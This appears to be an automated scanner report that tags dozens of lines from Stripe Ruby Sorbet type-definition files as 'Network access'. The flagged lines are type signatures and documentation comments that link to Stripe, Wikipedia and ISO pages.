class CustomerSheet < ::Stripe::RequestParams class Features < ::Stripe::RequestParams # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that c - Network accessline 18
class Features < ::Stripe::RequestParams # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet - Network accessline 19
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet displays by filtering to only show payment methods - Network accessline 28
# Controls whether the customer sheet displays the option to remove a saved payment method." # # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing th - Network accessline 29
# # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa - Network accessline 30
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 60
class MobilePaymentElement < ::Stripe::RequestParams class Features < ::Stripe::RequestParams # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values - Network accessline 61
class Features < ::Stripe::RequestParams # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment - Network accessline 62
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment element displays by filtering to only show payment - Network accessline 76
# Controls whether the mobile payment element displays the option to remove a saved payment method." # # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Rem - Network accessline 77
# # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa - Network accessline 78
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 83
# Controls whether the mobile payment element displays a checkbox offering to save a new payment method. # # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#paymen - Network accessline 84
# # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentI - Network accessline 85
# If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the - Network accessline 131
class PaymentElement < ::Stripe::RequestParams class Features < ::Stripe::RequestParams # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that - Network accessline 132
class Features < ::Stripe::RequestParams # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Elemen - Network accessline 133
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Element displays by filtering to only show payment method - Network accessline 154
# Controls whether the Payment Element displays the option to remove a saved payment method. This parameter defaults to `disabled`. # # Allowing buyers to remove their saved payment methods impacts subscriptions that dep - Network accessline 155
# # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa - Network accessline 156
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 161
# Controls whether the Payment Element displays a checkbox offering to save a new payment method. This parameter defaults to `disabled`. # # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/a - Network accessline 162
# # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentI - Network accessline 163
# If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the - Network accessline 166
sig { params(_payment_method_save: T.nilable(String)).returns(T.nilable(String)) } def payment_method_save=(_payment_method_save); end # When using PaymentIntents and the customer checks the save checkbox, this field det - Network accessline 167
def payment_method_save=(_payment_method_save); end # When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment - Network accessline 168
# When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-setup_future_usage) value used to confirm the P - Network accessline 169
# # When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation. sig { returns(T.nilable(String)) } - Network accessline 170
# When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_update_params.rbi
- Network accessline 11
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ( - Network accessline 12
def city=(_city); end # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 13
# A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 31
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 32
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 33
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 50
class CashBalance < ::Stripe::RequestParams class Settings < ::Stripe::RequestParams # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `me - Network accessline 51
class Settings < ::Stripe::RequestParams # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these - Network accessline 52
# Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https: - Network accessline 147
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country co - Network accessline 148
def city=(_city); end # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 149
# A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 167
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 168
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 169
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 220
def initialize(ip_address: nil, validate_location: nil); end end # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-cus - Network accessline 221
end # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer). sig { returns(T.nilable(T.any(String, CustomerUpdateP - Network accessline 222
# The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer). - Network accessline 244
} def cash_balance=(_cash_balance); end # If you are using payment methods created via the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/update#update_customer-invoice_se - Network accessline 245
def cash_balance=(_cash_balance); end # If you are using payment methods created via the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/update#update_customer-invoice_settings - Network accessline 246
# If you are using payment methods created via the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/update#update_customer-invoice_settings-default_payment_method) parameter. - Network accessline 248
# Provide the ID of a payment source already attached to this customer to make it this customer's default payment source. # # If you want to add a new payment source and make it the default, see the [source](https://docs.stripe.com/ - Network accessline 249
# # If you want to add a new payment source and make it the default, see the [source](https://docs.stripe.com/api/customers/update#update_customer-source) property. sig { returns(T.nilable(String)) } - Network accessline 250
# If you want to add a new payment source and make it the default, see the [source](https://docs.stripe.com/api/customers/update#update_customer-source) property. - Network accessline 285
} def invoice_settings=(_invoice_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure - Network accessline 286
def invoice_settings=(_invoice_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form - Network accessline 287
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/dispute_update_params.rbi
- Network accessline 15
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 16
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 17
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 35
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 36
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 37
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 119
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 120
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 121
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 139
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 140
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 141
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 279
sig { params(_billing_address: T.nilable(String)).returns(T.nilable(String)) } def billing_address=(_billing_address); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation poli - Network accessline 280
def billing_address=(_billing_address); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer. sig { returns(T.nilable(String)) } - Network accessline 281
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer. - Network accessline 294
sig { params(_cancellation_rebuttal: T.nilable(String)).returns(T.nilable(String)) } def cancellation_rebuttal=(_cancellation_rebuttal); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication - Network accessline 295
def cancellation_rebuttal=(_cancellation_rebuttal); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving - Network accessline 296
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving that the customer received the product or service, or demonstr - Network accessline 314
sig { params(_customer_purchase_ip: T.nilable(String)).returns(T.nilable(String)) } def customer_purchase_ip=(_customer_purchase_ip); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document - Network accessline 315
def customer_purchase_ip=(_customer_purchase_ip); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature. sig { returns(T.nilable(String)) } - Network accessline 316
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature. - Network accessline 319
sig { params(_customer_signature: T.nilable(String)).returns(T.nilable(String)) } def customer_signature=(_customer_signature); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prio - Network accessline 320
def customer_signature=(_customer_signature); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work - Network accessline 321
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work order, etc. This document should be paired with a simila - Network accessline 346
sig { params(_product_description: T.nilable(String)).returns(T.nilable(String)) } def product_description=(_product_description); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message - Network accessline 347
def product_description=(_product_description); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge. sig { returns(T.nilable(String)) - Network accessline 348
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge. - Network accessline 351
sig { params(_receipt: T.nilable(String)).returns(T.nilable(String)) } def receipt=(_receipt); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer. - Network accessline 352
def receipt=(_receipt); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer. sig { returns(T.nilable(String)) } - Network accessline 353
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer. - Network accessline 371
sig { params(_service_date: T.nilable(String)).returns(T.nilable(String)) } def service_date=(_service_date); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service w - Network accessline 372
def service_date=(_service_date); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work - Network accessline 373
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work order, or other form of written agreement. - Network accessline 391
sig { params(_shipping_date: T.nilable(String)).returns(T.nilable(String)) } def shipping_date=(_shipping_date); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a produc - Network accessline 392
def shipping_date=(_shipping_date); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. Thi - Network accessline 393
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. This could include a copy of the shipment receipt - Network accessline 401
sig { params(_shipping_tracking_number: T.nilable(String)).returns(T.nilable(String)) } def shipping_tracking_number=(_shipping_tracking_number); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any addi - Network accessline 402
def shipping_tracking_number=(_shipping_tracking_number); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements. sig { returns(T.nilable(String)) } - Network accessline 403
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements. - Network accessline 457
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 458
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 459
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/file_create_params.rbi
- Network accessline 16
sig { params(_expires_at: T.nilable(Integer)).returns(T.nilable(Integer)) } def expires_at=(_expires_at); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful - Network accessline 17
def expires_at=(_expires_at); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 18
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 38
sig { params(_file: T.untyped).returns(T.untyped) } def file=(_file); end # Optional parameters that automatically create a [file link](https://api.stripe.com#file_links) for the newly created file. - Network accessline 39
def file=(_file); end # Optional parameters that automatically create a [file link](https://api.stripe.com#file_links) for the newly created file. sig { returns(T.nilable(FileCreateParams::FileLinkData)) } - Network accessline 40
# Optional parameters that automatically create a [file link](https://api.stripe.com#file_links) for the newly created file. - Network accessline 45
} def file_link_data=(_file_link_data); end # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file. - Network accessline 46
def file_link_data=(_file_link_data); end # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file. sig { returns(String) } - Network accessline 47
# The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/file_link_create_params.rbi
- Network accessline 20
sig { params(_file: String).returns(String) } def file=(_file); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the o - Network accessline 21
def file=(_file); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can - Network accessline 22
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/file_link_update_params.rbi
- Network accessline 17
} def expires_at=(_expires_at); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 18
def expires_at=(_expires_at); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 19
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/forwarding/request_create_params.rbi
- Network accessline 43
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 44
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 45
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_create_params.rbi
- Network accessline 15
} def allowed_types=(_allowed_types); end # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. - Network accessline 16
def allowed_types=(_allowed_types); end # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. s - Network accessline 17
# Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. - Network accessline 27
} def require_live_capture=(_require_live_capture); end # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your use - Network accessline 28
def require_live_capture=(_require_live_capture); end # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [L - Network accessline 29
# Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie). - Network accessline 44
); end end # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document). - Network accessline 45
end # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document). sig { - Network accessline 46
# Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document). - Network accessline 96
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 97
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 98
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 139
sig { params(_return_url: T.nilable(String)).returns(T.nilable(String)) } def return_url=(_return_url); end # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. You must provi - Network accessline 140
def return_url=(_return_url); end # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. You must provide a `type` if not passing `verification_flow`. sig { returns(T.nilable(St - Network accessline 141
# The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. You must provide a `type` if not passing `verification_flow`. - Network accessline 144
sig { params(_type: T.nilable(String)).returns(T.nilable(String)) } def type=(_type); end # The ID of a verification flow from the Dashboard. See https://docs.stripe.com/identity/verification-flows. - Network accessline 145
def type=(_type); end # The ID of a verification flow from the Dashboard. See https://docs.stripe.com/identity/verification-flows. sig { returns(T.nilable(String)) } - Network accessline 146
# The ID of a verification flow from the Dashboard. See https://docs.stripe.com/identity/verification-flows.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_list_params.rbi
- Network accessline 74
sig { params(_starting_after: T.nilable(String)).returns(T.nilable(String)) } def starting_after=(_starting_after); end # Only return VerificationSessions with this status. [Learn more about the lifecycle of sessions](https://do - Network accessline 75
def starting_after=(_starting_after); end # Only return VerificationSessions with this status. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work). sig { returns(T.nilable(String)) } - Network accessline 76
# Only return VerificationSessions with this status. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_update_params.rbi
- Network accessline 15
} def allowed_types=(_allowed_types); end # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. - Network accessline 16
def allowed_types=(_allowed_types); end # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. s - Network accessline 17
# Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. - Network accessline 27
} def require_live_capture=(_require_live_capture); end # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your use - Network accessline 28
def require_live_capture=(_require_live_capture); end # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [L - Network accessline 29
# Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie). - Network accessline 44
); end end # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document). - Network accessline 45
end # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document). sig { - Network accessline 46
# Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document). - Network accessline 77
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 78
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 79
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 98
} def provided_details=(_provided_details); end # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. - Network accessline 99
def provided_details=(_provided_details); end # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. sig { returns(T.nilable(String)) } - Network accessline 100
# The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_add_lines_params.rbi
- Network accessline 53
sig { params(_images: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This - Network accessline 54
def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual - Network accessline 55
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 65
sig { params(_name: String).returns(String) } def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 66
def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 67
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 87
); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 88
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 89
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 92
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `pr - Network accessline 93
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. sig { return - Network accessline 94
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 97
sig { params(_product: T.nilable(String)).returns(T.nilable(String)) } def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_dat - Network accessline 98
def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. sig { returns(T.nilable(InvoiceAddLinesParams::Line::Pr - Network accessline 99
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 104
} def product_data=(_product_data); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in th - Network accessline 105
def product_data=(_product_data); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe T - Network accessline 106
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 142
class TaxAmount < ::Stripe::RequestParams class TaxRateData < ::Stripe::RequestParams # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 143
class TaxRateData < ::Stripe::RequestParams # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 144
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 177
